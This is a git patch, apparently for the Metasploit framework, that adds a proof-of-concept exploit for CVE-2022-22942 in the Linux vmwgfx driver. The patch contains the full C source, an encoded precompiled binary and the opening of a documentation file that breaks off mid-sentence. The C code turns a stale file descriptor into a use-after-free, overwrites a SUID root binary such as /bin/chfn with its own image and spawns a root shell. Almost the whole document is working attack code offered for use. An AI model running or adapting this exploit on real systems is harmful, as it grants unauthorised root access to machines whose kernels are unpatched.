From be7ca91a8f3aea5eae8a77091c9ece806ac9c92c Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 25 Nov 2022 13:05:47 -0500 Subject: [PATCH] cve-2022-22942 --- .../CVE-2022-22942/cve-2022-22942-dc.c | 601 ++++++++++++++++++ data/exploits/CVE-2022-22942/pre_compiled | Bin 0 -> 27152 bytes .../exploit/linux/local/vmwgfx_fd_priv_esc.md | 115 ++++ .../linux/local/vmwgfx_fd_priv_esc.rb | 178 ++++++ 4 files changed, 894 insertions(+) create mode 100644 data/exploits/CVE-2022-22942/cve-2022-22942-dc.c create mode 100644 data/exploits/CVE-2022-22942/pre_compiled create mode 100644 documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md create mode 100644 modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb diff --git a/data/exploits/CVE-2022-22942/cve-2022-22942-dc.c b/data/exploits/CVE-2022-22942/cve-2022-22942-dc.c new file mode 100644 index 0000000000..cf6b082fa1 --- /dev/null +++ b/data/exploits/CVE-2022-22942/cve-2022-22942-dc.c @@ -0,0 +1,601 @@ +/* The vmwgfx driver has a similar bug as the one we fixed last year in the + * nitro enclaves code (https://git.kernel.org/linus/f1ce3986baa6 + * "nitro_enclaves: Fix stale file descriptors on failed usercopy"). + * + * If the driver fails to copy the 'fence_rep' object to userland, it tries to + * recover by deallocating the (already populated) file descriptor. This is + * wrong, as the fd gets released via put_unused_fd() which shouldn't be used, + * as the fd table slot was already populated via the previous call to + * fd_install(). This leaves userland with a valid fd table entry pointing to + * a free'd 'file' object. + * + * There are multiple ways to exploit this bug. A previous version of this PoC + * dumped the contents of /etc/shadow. This one overwrites a SUID root binary + * to pop a shell. + * + * Compile as: + * $ gcc -O2 cve-2022-22942-dc.c -o cve-2022-22942-dc + * + * Run as (and wait for the root shell to appear): + * $ ./cve-2022-22942-dc [target_file [temp_file [dev_node]]] + * + * Remarks: + * + * This POC assumes it has access to '/dev/dri/card0' which likely means the + * calling user needs to be part of the 'video' group. + * + * Alternatively '/dev/dri/renderD128' can be used (just pass the path as + * argument to ./cve-2022-22942-dc-dc), which, under Debian, means being part + * of the 'render' group. + * + * This bug was fixed by commit a0f90c881570 ("drm/vmwgfx: Fix stale file + * descriptors on failed usercopy"). It affected kernel versions v4.14-rc1 to + * v5.17-rc1. + * + * This is CVE-2022-22942. + * + * (c) 2022 Open Source Security, Inc. + * + * - minipli + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* uapi/drm/drm.h */ +#define DRM_IOCTL_BASE 'd' +#define DRM_IOW(nr,type) _IOW(DRM_IOCTL_BASE,nr,type) +#define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) +#define DRM_COMMAND_BASE 0x40 + +#define DRM_IOCTL_VERSION DRM_IOWR(0x00, struct drm_version) +struct drm_version { + int version_major; + int version_minor; + int version_patchlevel; + size_t name_len; + char *name; + size_t date_len; + char *date; + size_t desc_len; + char *desc; +}; + +/* uapi/drm/vmwgfx_drm.h */ +#define DRM_VMW_EXECBUF 12 +#define DRM_VMW_EXECBUF_VERSION 2 +#define DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD (1 << 1) +#define DRM_VMW_INVALID_CTX_HNDL (-1) + +#define DRM_IOCTL_VMW_EXECBUF \ + DRM_IOW(DRM_COMMAND_BASE + DRM_VMW_EXECBUF, struct drm_vmw_execbuf_arg) +struct drm_vmw_execbuf_arg { + uint64_t commands; + uint32_t command_size; + uint32_t throttle_us; + uint64_t fence_rep; + uint32_t version; + uint32_t flags; + uint32_t context_handle; + int32_t imported_fence_fd; +}; + +#define array_size(x) (sizeof(x)/sizeof*(x)) + +#define FENCE_REP_PTR 0x42 +#define VMWGFX_DRV_NAME "vmwgfx" +#define VMWGFX_DEV "/dev/dri/card0" +#define NULL_DEV "/dev/null" +#define SUID_TARGET "/bin/chfn" // use /bin/chage for RHEL/CentOS +#define TEMP_FILE "/var/tmp/cake" + +static char *suid_path = SUID_TARGET; +static char *temp_path = TEMP_FILE; +static char *dev_path = VMWGFX_DEV; +static char stale_fd_path[64]; + +static const void *prog_addr, *suid_addr; +static size_t prog_size, suid_size; + +#define NUM_FILES 32 +static int files[NUM_FILES]; + +static void open_files(const char *path, int flags, mode_t mode, bool temp) { + unsigned int i; + + for (i = 0; i < array_size(files); i++) { + files[i] = open(path, flags, mode); + if (files[i] < 0) + err(1, "open('%s', %hx, %hx)", path, flags, mode); + + if (temp) { + unlink(path); + + if (ftruncate(files[i], prog_size)) + err(1, "ftruncate()"); + } + } +} + +static void close_files(unsigned int except) { + unsigned int i; + + for (i = 0; i < array_size(files); i++) { + if ((unsigned int)files[i] == except) + continue; + + if (close(files[i])) + err(1, "close(fd=%d)", files[i]); + } +} + +static int find_file(ino_t ino) { + struct stat buf; + unsigned int i; + + for (i = 0; i < array_size(files); i++) { + if (fstat(files[i], &buf)) + err(1, "stat(fd=%d)", files[i]); + + if (buf.st_ino == ino) + return files[i]; + } + + return -1; +} + +static bool is_suid(const char *path) { + struct stat buf; + + if (stat(path, &buf)) + return false; + + return buf.st_uid == 0 && (buf.st_mode & 04111) == 04111; +} + +static bool pin_cpu(int cpu) { + cpu_set_t cpus; + + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + + return !!sched_setaffinity(0, sizeof(cpus), &cpus); +} + +static void *map_file(const char *path, size_t *len) { + struct stat sb; + void *addr; + size_t i; + int fd; + + printf("[~] creating r/o mapping of %s...\n", path); + fd = open(path, O_RDONLY); + if (fd < 0) + err(1, "open(%s)", path); + + if (fstat(fd, &sb)) + err(1, "stat(%s)", path); + + *len = sb.st_size; + addr = mmap(NULL, *len, PROT_READ, MAP_SHARED, fd, 0); + if (addr == MAP_FAILED) + err(1, "mmap(%s)", path); + + /* fault in the pages to pre-load the binary */ + for (i = 0; i < *len; i += 4096) + *(volatile char *)(addr + i); + + close(fd); + + return addr; +} + +static int get_stale_fd(const char *dev_path) { + static char name[256], date[256], desc[256]; + static struct drm_version drm_info = { + .name = name, .name_len = sizeof(name), + .desc = desc, .desc_len = sizeof(desc), + .date = date, .date_len = sizeof(date), + }; + static struct drm_vmw_execbuf_arg exec_buf = { + .version = DRM_VMW_EXECBUF_VERSION, + .context_handle = DRM_VMW_INVALID_CTX_HNDL, + .flags = DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD, + .fence_rep = FENCE_REP_PTR, + }; + static int vmw_fd = -1; + int fd; + + if (vmw_fd < 0) { + printf("[~] vmwgfx setup using %s...\n", dev_path); + vmw_fd = open(dev_path, O_WRONLY); + if (vmw_fd < 0) + err(1, "open(%s)", dev_path); + + if (ioctl(vmw_fd, DRM_IOCTL_VERSION, &drm_info) != 0) + err(1, "ioctl(DRM_IOCTL_VERSION) unexpectedly failed"); + + if (strcmp(drm_info.name, VMWGFX_DRV_NAME) != 0) { + errx(1, "wrong driver, should be '%s' but is '%s'", + VMWGFX_DRV_NAME, drm_info.name); + } + printf("[+] confirmed to be targeting the right driver\n"); + } + + fd = open(NULL_DEV, O_RDONLY); + if (fd < 0) + err(1, "open(%s)", NULL_DEV); + close(fd); + printf("[~] predicted fence fd = %d\n", fd); + snprintf(stale_fd_path, sizeof(stale_fd_path), "/proc/self/fd/%d", fd); + + printf("[~] triggering fence fd export...\n"); + if (ioctl(vmw_fd, DRM_IOCTL_VMW_EXECBUF, &exec_buf) != 0) + err(1, "ioctl(DRM_IOCTL_VMW_EXECBUF) unexpectedly failed"); + + return fd; +} + +static bool check_fd(int fd, const char *path, ino_t *ino) { + char buf[1024]; + struct stat sb; + ssize_t len; + + /* Do non-faulting checks first -- using an invalid address ;) */ + errno = 0; + if (write(fd, (void *)~0xdead, 42) >= 0 || errno != EFAULT) + return false; + + /* We open the file with exactly these flags */ + if ((fcntl(fd, F_GETFL) & O_RDWR) != O_RDWR) + return false; + + len = readlink(stale_fd_path, buf, sizeof(buf) - 1); + if (len < 0) + return false; + + buf[len] = '\0'; + if (strncmp(buf, path, strlen(path)) != 0) + return false; + + if (fstat(fd, &sb) != 0) + return false; + + *ino = sb.st_ino; + + return true; +} + +static void __read_pipe(int fd, void *buf, size_t len, const char *what, const char *caller) { + ssize_t cnt; + + cnt = read(fd, buf, len); + if (cnt < 0) + err(1, "%s: read(%s)", caller, what); + + if (cnt == 0) + errx(2, "%s: read(%s) EOF, other side died?", caller, what); + + if ((size_t)cnt != len) + errx(1, "%s: short read(%s): got %zd, want %zu", caller, what, cnt, len); +} +#define read_pipe(p,o) __read_pipe(p[0], &o, sizeof(o), #o, __func__) + +static void __write_pipe(int fd, const void *buf, size_t len, const char *what, const char *caller) { + ssize_t cnt; + + cnt = write(fd, buf, len); + if (cnt < 0) + err(1, "%s: write(%s)", caller, what); + + if (cnt == 0) + errx(2, "%s: write(%s) EOF, other side died?", caller, what); + + if ((size_t)cnt != len) + errx(1, "%s: short write(%s): got %zd, want %zu", caller, what, cnt, len); +} +#define write_pipe(p,o) __write_pipe(p[1], &o, sizeof(o), #o, __func__) + +static void stale_fd_worker(int pipe[2]) { + bool write_ino = false; + int stale_fd = -1; + char state = '0'; + ino_t ino; + + do { + switch (state) { + case '0': + stale_fd = get_stale_fd(dev_path); + /* ensure an RCU GP has passed and the file was returned to the cache */ +// usleep(150 * 1000); + sleep(1); + printf("[~] RCU GP passed and file object released -- by now or soon!\n"); + state++; + break; + + case '2': + printf("[~] probing stale fd for a match...\n"); + if (check_fd(stale_fd, temp_path, &ino)) { + write_ino = true; + state++; + } else { + state--; + } + break; + + case '4': + printf("[~] closing stale fd...\n"); + /* This close will drop the reference of the mmap() of stage + * '3' and make its file pointer dangling. + */ + close(stale_fd); + + /* ensure an RCU GP has passed and the file was released to the cache */ +// usleep(150 * 1000); + sleep(1); + printf("[~] RCU GP passed and file object released again -- hopefully!\n"); + state++; + break; + + default: + errx(1, "%s: invalid state '%c'", __func__, state); + } + + write_pipe(pipe, state); + if (write_ino) { + write_ino = false; + write_pipe(pipe, ino); + } + read_pipe(pipe, state); + } while (state < '6'); + + printf("[~] %s: done\n", __func__); + exit(memcmp(suid_addr, prog_addr, prog_size)); +} + +static void mmap_worker(int pipe[2]) { + bool files_open = false; + void *addr = NULL; + sigset_t set; + char state; + ino_t ino; + int fd; + + do { + read_pipe(pipe, state); + + switch (state) { + case '1': + if (files_open) { + files_open = false; + close_files(-1); + usleep(20 * 1000); + } + printf("[~] opening some r/w files for %s\n", temp_path); + open_files(temp_path, O_RDWR | O_CREAT | O_TRUNC, 0600, true); + files_open = true; + state++; + break; + + case '3': + /* found it! */ + read_pipe(pipe, ino); + + fd = find_file(ino); + if (fd < 0) { + printf("[-] failed to find candidate with ino %#lx, retrying\n", ino); + state = '1'; + /* no need to bounce, retry directly */ + continue; + } + + printf("[+] found match at fd %d\n", fd); + close_files(fd); + + printf("[~] creating r/w mapping...\n"); + addr = mmap(NULL, prog_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + if (addr == MAP_FAILED) + err(1, "mmap()"); + + close(fd); + state++; + break; + + case '5': + printf("[~] opening some r/o files for %s\n", suid_path); + open_files(suid_path, O_RDONLY, 0, false); + + /* We hope to have reallocated the dangling file once more! */ + printf("[*] trying to overwrite code in %s\n", suid_path); + memcpy(addr, prog_addr, prog_size); + //msync(addr, prog_size, MS_SYNC | MS_INVALIDATE); + printf("[~] %s: done\n", __func__); + state++; + break; + + default: + errx(1, "%s: invalid state '%c'", __func__, state); + } + + write_pipe(pipe, state); + } while (state < '6'); + + /* The 'addr' mapping is using a dangling file pointer, i.e. one with an + * off-by-one reference count. Terminating the process will thereby lead to + * a warning in the vfs code: "VFS: Close: file count is 0" or worse, + * tripping over DEBUG_LIST checks leading to an Oops. + * + * To avoid these, turn into a ghost, detach from the process hierachy and + * daemonize. + */ + //exit(memcmp(suid_addr, prog_addr, prog_size)); + + setsid(); + + close(0); + close(1); + close(2); + close(pipe[0]); + close(pipe[1]); + prctl(PR_SET_NAME, "bogeyman", 0, 0, 0); + + sigfillset(&set); + sigprocmask(SIG_BLOCK, &set, NULL); + + for (;;) + pause(); +} + +static void spawn_worker(void) { + int state_fd[2][2]; + + if (pipe(state_fd[0]) < 0 || pipe(state_fd[1]) < 0) + err(1, "pipe()"); + + switch (fork()) { + default: + close(state_fd[0][1]); + close(state_fd[1][0]); + stale_fd_worker((int [2]) { state_fd[0][0], state_fd[1][1] }); + break; + + case 0: + close(state_fd[0][0]); + close(state_fd[1][1]); + mmap_worker((int [2]) { state_fd[1][0], state_fd[0][1] }); + break; + + case -1: + err(1, "fork()"); + } + + /* not reached */ + exit(1); +} + +int main(int argc, char **argv) { + static const char proc_self_exe[] = "/proc/self/exe"; + + if (!getuid()) + errx(1, "ahem..."); + + if (!geteuid()) { + setuid(0); + setgid(0); + execve("/bin/sh", (char *const []){ "-sh", NULL }, NULL); + err(1, "execve(%s)", SUID_TARGET); + } + + if (argc >= 2) + suid_path = argv[1]; + + if (argc >= 3) + temp_path = argv[2]; + + if (argc >= 4) + dev_path = argv[3]; + + if (!is_suid(suid_path)) + errx(1, "%s isn't suid root, choose another target", suid_path); + + suid_addr = map_file(suid_path, &suid_size); + prog_addr = map_file(proc_self_exe, &prog_size); + + if (suid_size < prog_size) { + errx(1, "size of %s too small, need %zuB, but only have %zuB", + suid_path, prog_size, suid_size); + } + + /* Ensure all subprocesses share the same SLUB's partial lists */ + if (pin_cpu(sched_getcpu())) + err(1, "failed to pin to CPU"); + + /* Span two subprocesses that lock step a state machine: + * P1: triggers the bug to get a stale fd entry + * + * P2: opens a bunch of r/w temporary files to reallocate the file object + * + * P1: checks if one of the fds reallocated the dangling file pointer and + * signals P2 which + * + * P2: creates a r/w mapping of the fd that matches the reallocated file + * pointer and closes all opened files + * + * P1: uses its stale fd entry to put the file attached to P2's mapping to + * make it dangling again + * + * P2: opens the target file r/o multiple times to reallocate the just + * released file object + * P2: copies this program over the previously created mapping (now + * pointing to the victim file instead of the temporary file) + * + * P1: signals success / failure to the observer by checking if the victim + * file was overwritten + * + * Wait for them to exit / die and check the return status. If it's zero, + * terminate the loop, we're done. + */ + + /* Do the dirty work in subprocesses, to not accidentally die along */ + printf("[~] spawning helper processes...\n"); + switch (fork()) { + case -1: err(1, "fork()"); + case 0: spawn_worker(); + } + +retry: /* Reap all the zombies... */ + switch (wait(NULL)) { + case -1: + switch (errno) { + case EINTR: goto retry; + case ECHILD: break; + default: err(1, "wait()"); + } + break; + default: + /* continue reaping... */ + goto retry; + } + + if (memcmp(suid_addr, prog_addr, prog_size)) + errx(1, "failed to overwrite %s :(", suid_path); + + printf("[$] success, spawning shell...\n"); + + /* Should be a suid root version of us by now */ + execve(suid_path, (char *const []){ suid_path, NULL }, NULL); + err(1, "execve(%s)", suid_path); + + return 0; +} \ No newline at end of file diff --git a/data/exploits/CVE-2022-22942/pre_compiled b/data/exploits/CVE-2022-22942/pre_compiled new file mode 100644 index 0000000000000000000000000000000000000000..19b05ee1495ce8910dc84a2487e812a6357bbaa0 GIT binary patch literal 27152 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 literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md b/documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md new file mode 100644 index 0000000000..e5c61298eb --- /dev/null +++ b/documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md @@ -0,0 +1,115 @@ +## Vulnerable Application + +If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries 